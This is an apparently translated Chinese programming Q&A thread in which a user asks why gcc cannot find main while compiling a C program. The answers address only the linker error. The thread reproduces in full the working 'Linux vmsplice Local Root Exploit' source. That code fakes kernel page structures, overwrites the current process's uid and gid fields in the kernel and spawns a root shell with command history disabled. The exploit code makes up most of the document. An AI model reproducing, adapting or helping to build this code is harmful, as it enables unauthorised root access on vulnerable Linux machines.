我已经阅读了关于这个主题的其他答案，不幸的是他们没有帮助我。 我正在尝试在我的电脑上编译一个C程序，但是编译器遇到了以下错误：
/usr/lib/gcc/x86_64-redhat-linux/4.1.2 /../../../../ lib64 / crt1.o：在函数
_start': (.text+0x20): undefined reference tomain'
collect2：ld返回1退出状态
虽然程序有一个主要的。 该代码是一个漏洞，我尝试在我的电脑上运行以进行考试：
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s " : "[-] %s ", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
void exit_code()
{
if (getuid() != 0)
die("wtf", 0);
printf("[+] root ");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}
int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf("-----------------------------------");
printf(" Linux vmsplice Local Root Exploit");
printf(" By qaaz");
printf("-----------------------------------");
if (!uid || !gid)
die("!@#$", 0);
/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx ", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx ", pages[0]);
printf("[+] page: 0x%lx ", pages[1]);
pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx ", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx ", pages[2]);
printf("[+] page: 0x%lx ", pages[3]);
pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;
/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx ", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx ", pages[4]);
/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx ", map_addr, map_addr + map_size);
/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);
/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);
iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;
signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}
提前致谢。
这是命令的输出：gcc exploit.c -o exploit
Using built-in specs.
Target: x86_64-redhat-linux
Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-libgcj-multifile --enable-languages=c,c++,objc,obj-c++,java,fortran,ada --enable-java-awt=gtk --disable-dssi --disable-plugin --with-java-home=/usr/lib/jvm/java-1.4.2-gcj-1.4.2.0/jre --with-cpu=generic --host=x86_64-redhat-linux
Thread model: posix
gcc version 4.1.2 20080704 (Red Hat 4.1.2-54)
/usr/libexec/gcc/x86_64-redhat-linux/4.1.2/cc1 -quiet -v /usr/local/Plone/zinstance/var/exploit.c -quiet -dumpbase exploit.c -mtune=generic -auxbase exploit -version -o /tmp/cclLsvN1.s
ignoring nonexistent directory "/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../x86_64-redhat-linux/include"
#include "..." search starts here:
#include <...> search starts here:
/usr/local/include
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include
/usr/include
End of search list.
GNU C version 4.1.2 20080704 (Red Hat 4.1.2-54) (x86_64-redhat-linux)
compiled by GNU C version 4.1.2 20080704 (Red Hat 4.1.2-54).
GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072
Compiler executable checksum: d9259db5918a1d4098c2a59efd7b40ce
/usr/local/Plone/zinstance/var/exploit.c:1:20: warning: missing whitespace after the macro name
as -V -Qy -o /tmp/ccsCgguR.o /tmp/cclLsvN1.s
GNU assembler version 2.17.50.0.6-26.el5 (x86_64-redhat-linux) using BFD version 2.17.50.0.6-26.el5 20061020
/usr/libexec/gcc/x86_64-redhat-linux/4.1.2/collect2 --eh-frame-hdr -m elf_x86_64 --hash-style=gnu -dynamic-linker /lib64/ld-linux-x86-64.so.2 -o /usr/local/Plone/zinstance/var/exploit /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crt1.o /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crti.o /usr/lib/gcc/x86_64-redhat-linux/4.1.2/crtbegin.o -L/usr/lib/gcc/x86_64-redhat-linux/4.1.2 -L/usr/lib/gcc/x86_64-redhat-linux/4.1.2 -L/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64 -L/lib/../lib64 -L/usr/lib/../lib64 /tmp/ccsCgguR.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/x86_64-redhat-linux/4.1.2/crtend.o /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crtn.o
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crt1.o: In function `_start':
(.text+0x20): undefined reference to `main'
collect2: ld returned 1 exit status
谢谢！
答案 0 :(得分：3)
您没有编译您认为正在编译的文件。这表现在两件事上：
main未明确显示在显示的源中。当#define行包含宏名称之后的另一个标记而没有插入空格时，会出现该警告消息，例如：
#define foo,
您显示的来源在第1行不包含此类文字。
此外，您显示您报告的文本是命令“gcc exploit.c -o exploit”的输出，但除非使用“-v”选项，否则gcc不会显示该类型的文本。因此输出必须通过不同的命令获得。
如果您在编辑器中打开文件，则应保存该文件，并应检查编辑器将文件保存到的文件系统路径。
答案 1 :(得分：0)
可能现在为时已晚。
使用-c标志应该可以解决问题